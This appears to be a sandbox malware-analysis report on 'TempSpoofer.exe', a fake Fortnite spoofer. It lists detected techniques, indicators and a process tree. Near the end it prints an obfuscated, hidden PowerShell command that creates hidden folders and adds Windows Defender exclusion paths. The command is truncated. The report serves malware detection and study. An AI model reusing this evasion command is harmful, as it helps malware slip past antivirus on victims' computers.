hxxps://github[.]com/lempacch/FortniteSpoofer/blob/main/TempSpoofer[.]exe

Analysis

user interaction
yes
max time kernel
61s
max time network
74s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/07/2026, 18:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://github.com/lempacch/FortniteSpoofer/blob/main/TempSpoofer.exe
Sample260730-xd65raytdt

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
688	powershell.exe

Downloads MZ/PE file 3 IoCs

flow	pid	Process
78	408	msedge.exe
100	3196	TempSpoofer.exe
103	2176	TempSpoofer.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	TempSpoofer.exe

Executes dropped EXE 4 IoCs

pid	Process
2176	TempSpoofer.exe
1196	TempSpoofer.exe
3196	TempSpoofer.exe
4640	background.exe

Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
99	pastebin.com
75	raw.githubusercontent.com
76	raw.githubusercontent.com
78	raw.githubusercontent.com
81	pastebin.com
82	pastebin.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
408	msedge.exe
2072	msedge.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134299107310527725"	msedge.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3053180483-1881419501-3594244048-1000\{E91D51CB-0078-4DD7-9A32-B7B5A52B912A}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	TempSpoofer.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
2176	TempSpoofer.exe
2176	TempSpoofer.exe
1196	TempSpoofer.exe
1196	TempSpoofer.exe
3196	TempSpoofer.exe
3196	TempSpoofer.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2176	TempSpoofer.exe
Token: SeDebugPrivilege	1196	TempSpoofer.exe
Token: SeDebugPrivilege	3196	TempSpoofer.exe
Token: SeDebugPrivilege	1680	taskmgr.exe
Token: SeSystemProfilePrivilege	1680	taskmgr.exe
Token: SeCreateGlobalPrivilege	1680	taskmgr.exe
Token: SeIncreaseQuotaPrivilege	3196	TempSpoofer.exe
Token: SeSecurityPrivilege	3196	TempSpoofer.exe
Token: SeTakeOwnershipPrivilege	3196	TempSpoofer.exe
Token: SeLoadDriverPrivilege	3196	TempSpoofer.exe
Token: SeSystemProfilePrivilege	3196	TempSpoofer.exe
Token: SeSystemtimePrivilege	3196	TempSpoofer.exe
Token: SeProfSingleProcessPrivilege	3196	TempSpoofer.exe
Token: SeIncBasePriorityPrivilege	3196	TempSpoofer.exe
Token: SeCreatePagefilePrivilege	3196	TempSpoofer.exe
Token: SeBackupPrivilege	3196	TempSpoofer.exe
Token: SeRestorePrivilege	3196	TempSpoofer.exe
Token: SeShutdownPrivilege	3196	TempSpoofer.exe
Token: SeDebugPrivilege	3196	TempSpoofer.exe
Token: SeSystemEnvironmentPrivilege	3196	TempSpoofer.exe
Token: SeRemoteShutdownPrivilege	3196	TempSpoofer.exe
Token: SeUndockPrivilege	3196	TempSpoofer.exe
Token: SeManageVolumePrivilege	3196	TempSpoofer.exe
Token: 33	3196	TempSpoofer.exe
Token: 34	3196	TempSpoofer.exe
Token: 35	3196	TempSpoofer.exe
Token: 36	3196	TempSpoofer.exe
Token: SeIncreaseQuotaPrivilege	3196	TempSpoofer.exe
Token: SeSecurityPrivilege	3196	TempSpoofer.exe
Token: SeTakeOwnershipPrivilege	3196	TempSpoofer.exe
Token: SeLoadDriverPrivilege	3196	TempSpoofer.exe
Token: SeSystemProfilePrivilege	3196	TempSpoofer.exe
Token: SeSystemtimePrivilege	3196	TempSpoofer.exe
Token: SeProfSingleProcessPrivilege	3196	TempSpoofer.exe
Token: SeIncBasePriorityPrivilege	3196	TempSpoofer.exe
Token: SeCreatePagefilePrivilege	3196	TempSpoofer.exe
Token: SeBackupPrivilege	3196	TempSpoofer.exe
Token: SeRestorePrivilege	3196	TempSpoofer.exe
Token: SeShutdownPrivilege	3196	TempSpoofer.exe
Token: SeDebugPrivilege	3196	TempSpoofer.exe
Token: SeSystemEnvironmentPrivilege	3196	TempSpoofer.exe
Token: SeRemoteShutdownPrivilege	3196	TempSpoofer.exe
Token: SeUndockPrivilege	3196	TempSpoofer.exe
Token: SeManageVolumePrivilege	3196	TempSpoofer.exe
Token: 33	3196	TempSpoofer.exe
Token: 34	3196	TempSpoofer.exe
Token: 35	3196	TempSpoofer.exe
Token: 36	3196	TempSpoofer.exe
Token: SeIncreaseQuotaPrivilege	3196	TempSpoofer.exe
Token: SeSecurityPrivilege	3196	TempSpoofer.exe
Token: SeTakeOwnershipPrivilege	3196	TempSpoofer.exe
Token: SeLoadDriverPrivilege	3196	TempSpoofer.exe
Token: SeSystemProfilePrivilege	3196	TempSpoofer.exe
Token: SeSystemtimePrivilege	3196	TempSpoofer.exe
Token: SeProfSingleProcessPrivilege	3196	TempSpoofer.exe
Token: SeIncBasePriorityPrivilege	3196	TempSpoofer.exe
Token: SeCreatePagefilePrivilege	3196	TempSpoofer.exe
Token: SeBackupPrivilege	3196	TempSpoofer.exe
Token: SeRestorePrivilege	3196	TempSpoofer.exe
Token: SeShutdownPrivilege	3196	TempSpoofer.exe
Token: SeDebugPrivilege	3196	TempSpoofer.exe
Token: SeSystemEnvironmentPrivilege	3196	TempSpoofer.exe
Token: SeRemoteShutdownPrivilege	3196	TempSpoofer.exe
Token: SeUndockPrivilege	3196	TempSpoofer.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe

Suspicious use of SendNotifyMessage 61 IoCs

pid	Process
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
4720	msedge.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe
1680	taskmgr.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 4720 wrote to memory of 4928	4720	msedge.exe	86
PID 4720 wrote to memory of 408	4720	msedge.exe	87
PID 4720 wrote to memory of 996	4720	msedge.exe	88
PID 4720 wrote to memory of 996	4720	msedge.exe	88
PID 4720 wrote to memory of 996	4720	msedge.exe	88
PID 4720 wrote to memory of 3804	4720	msedge.exe	89
PID 4720 wrote to memory of 3804	4720	msedge.exe	89
PID 4720 wrote to memory of 1028	4720	msedge.exe	90
PID 4720 wrote to memory of 1028	4720	msedge.exe	90
PID 4720 wrote to memory of 1028	4720	msedge.exe	90
PID 4720 wrote to memory of 1072	4720	msedge.exe	91
PID 4720 wrote to memory of 1072	4720	msedge.exe	91
PID 4720 wrote to memory of 1072	4720	msedge.exe	91
PID 4720 wrote to memory of 3832	4720	msedge.exe	96
PID 4720 wrote to memory of 3832	4720	msedge.exe	96
PID 4720 wrote to memory of 216	4720	msedge.exe	97
PID 4720 wrote to memory of 216	4720	msedge.exe	97
PID 4720 wrote to memory of 1144	4720	msedge.exe	99
PID 4720 wrote to memory of 1184	4720	msedge.exe	105
PID 4720 wrote to memory of 1184	4720	msedge.exe	105
PID 4720 wrote to memory of 1796	4720	msedge.exe	106
PID 4720 wrote to memory of 1796	4720	msedge.exe	106
PID 4720 wrote to memory of 1796	4720	msedge.exe	106
PID 4720 wrote to memory of 5392	4720	msedge.exe	107
PID 4720 wrote to memory of 2176	4720	msedge.exe	108
PID 4720 wrote to memory of 4592	4720	msedge.exe	116
PID 4720 wrote to memory of 4588	4720	msedge.exe	117
PID 4720 wrote to memory of 628	4720	msedge.exe	118
PID 4720 wrote to memory of 1956	4720	msedge.exe	119
PID 4720 wrote to memory of 1956	4720	msedge.exe	119
PID 4720 wrote to memory of 1956	4720	msedge.exe	119
PID 4720 wrote to memory of 1196	4720	msedge.exe	120
PID 4720 wrote to memory of 3196	4720	msedge.exe	122
PID 3196 wrote to memory of 4640	3196	TempSpoofer.exe	127

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5824	attrib.exe
2984	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://github.com/lempacch/FortniteSpoofer/blob/main/TempSpoofer.exe
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4720
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x260,0x7ffe4c6ec188,0x7ffe4c6ec194,0x7ffe4c6ec1a0
  2⤵
  PID:4928
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1768,i,15046795257722253997,16486485677333707323,524288 --field-trial-handle=2344,i,3493849466238361677,3993194291041640920,262144 --variations-seed-version --mojo-platform-channel-handle=2428 /prefetch:3
  2⤵
  - Downloads MZ/PE file
  - System Time Discovery
  PID:408
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1640,i,10027452160377087521,17498995989116508998,262144 --field-trial-handle=2344,i,3493849466238361677,3993194291041640920,262144 --variations-seed-version --mojo-platform-channel-handle=2340 /prefetch:2
  2⤵
  PID:996
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2240,i,11523904483296928210,5090551563713532533,524288 --field-trial-handle=2344,i,3493849466238361677,3993194291041640920,262144 --variations-seed-version --mojo-platform-channel-handle=2516 /prefetch:8
  2⤵
  PID:3804
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3452,i,16554855213774893155,8568417725349150460,2097152 --field-trial-handle=2344,i,3493849466238361677,3993194291041640920,262144 --variations-seed-version --mojo-platform-channel-handle=3512 /prefetch:1
  2⤵
  PID:1028
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3464,i,11293005972073490441,5495936832829111237,2097152 --field-trial-handle=2344,i,3493849466238361677,3993194291041640920,262144 --variations-seed-version --mojo-platform-channel-handle=3516 /prefetch:1
  2⤵
  PID:1072
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4908,i,4736230828823250419,2449378649209655056,524288 --field-trial-handle=2344,i,3493849466238361677,3993194291041640920,262144 --variations-seed-version --mojo-platform-channel-handle=5072 /prefetch:8
  2⤵
  PID:3832
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4952,i,10582874827639498469,6880904110993628605,524288 --field-trial-handle=2344,i,3493849466238361677,3993194291041640920,262144 --variations-seed-version --mojo-platform-channel-handle=5080 /prefetch:8
  2⤵
  PID:216
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5856,i,5261269854915010292,10417353940383940481,524288 --field-trial-handle=2344,i,3493849466238361677,3993194291041640920,262144 --variations-seed-version --mojo-platform-channel-handle=5872 /prefetch:8
  2⤵
  PID:4260
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5856,i,5261269854915010292,10417353940383940481,524288 --field-trial-handle=2344,i,3493849466238361677,3993194291041640920,262144 --variations-seed-version --mojo-platform-channel-handle=5872 /prefetch:8
  2⤵
  PID:1144
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5996,i,18344768219359118275,3892480246386690304,524288 --field-trial-handle=2344,i,3493849466238361677,3993194291041640920,262144 --variations-seed-version --mojo-platform-channel-handle=5876 /prefetch:8
  2⤵
  PID:1184
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5968,i,3389135292929264400,7485927721381058711,2097152 --field-trial-handle=2344,i,3493849466238361677,3993194291041640920,262144 --variations-seed-version --mojo-platform-channel-handle=6172 /prefetch:1
  2⤵
  PID:1796
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6548,i,11731443317574727426,2946674100174989421,524288 --field-trial-handle=2344,i,3493849466238361677,3993194291041640920,262144 --variations-seed-version --mojo-platform-channel-handle=6572 /prefetch:8
  2⤵
  PID:5392
- C:\Users\Admin\Downloads\TempSpoofer.exe
  "C:\Users\Admin\Downloads\TempSpoofer.exe"
  2⤵
  - Downloads MZ/PE file
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2176
- - C:\Users\Admin\AppData\Local\4fb49548-0a0e-46e6-b47e-682f32f88535\background.exe
    "C:\Users\Admin\AppData\Local\4fb49548-0a0e-46e6-b47e-682f32f88535\background.exe"
    3⤵
    PID:2184
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3584,i,8442312201170537985,16739544752281197128,524288 --field-trial-handle=2344,i,3493849466238361677,3993194291041640920,262144 --variations-seed-version --mojo-platform-channel-handle=6816 /prefetch:8
  2⤵
  PID:4592
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4012,i,10757557158316940968,13044837623607397844,524288 --field-trial-handle=2344,i,3493849466238361677,3993194291041640920,262144 --variations-seed-version --mojo-platform-channel-handle=6808 /prefetch:8
  2⤵
  PID:4588
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4028,i,12322833776065748394,10898302433563040280,524288 --field-trial-handle=2344,i,3493849466238361677,3993194291041640920,262144 --variations-seed-version --mojo-platform-channel-handle=6776 /prefetch:8
  2⤵
  PID:628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=5040,i,425347777953523279,3086605645030849650,2097152 --field-trial-handle=2344,i,3493849466238361677,3993194291041640920,262144 --variations-seed-version --mojo-platform-channel-handle=5084 /prefetch:1
  2⤵
  PID:1956
- C:\Users\Admin\Downloads\TempSpoofer.exe
  "C:\Users\Admin\Downloads\TempSpoofer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1196
- C:\Users\Admin\Downloads\TempSpoofer.exe
  "C:\Users\Admin\Downloads\TempSpoofer.exe"
  2⤵
  - Downloads MZ/PE file
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3196
- - C:\Users\Admin\AppData\Local\e76166cb-717d-4303-b1f0-8e59db676454\background.exe
    "C:\Users\Admin\AppData\Local\e76166cb-717d-4303-b1f0-8e59db676454\background.exe"
    3⤵
    - Executes dropped EXE
    PID:4640
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito
      4⤵
      PID:5496
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMA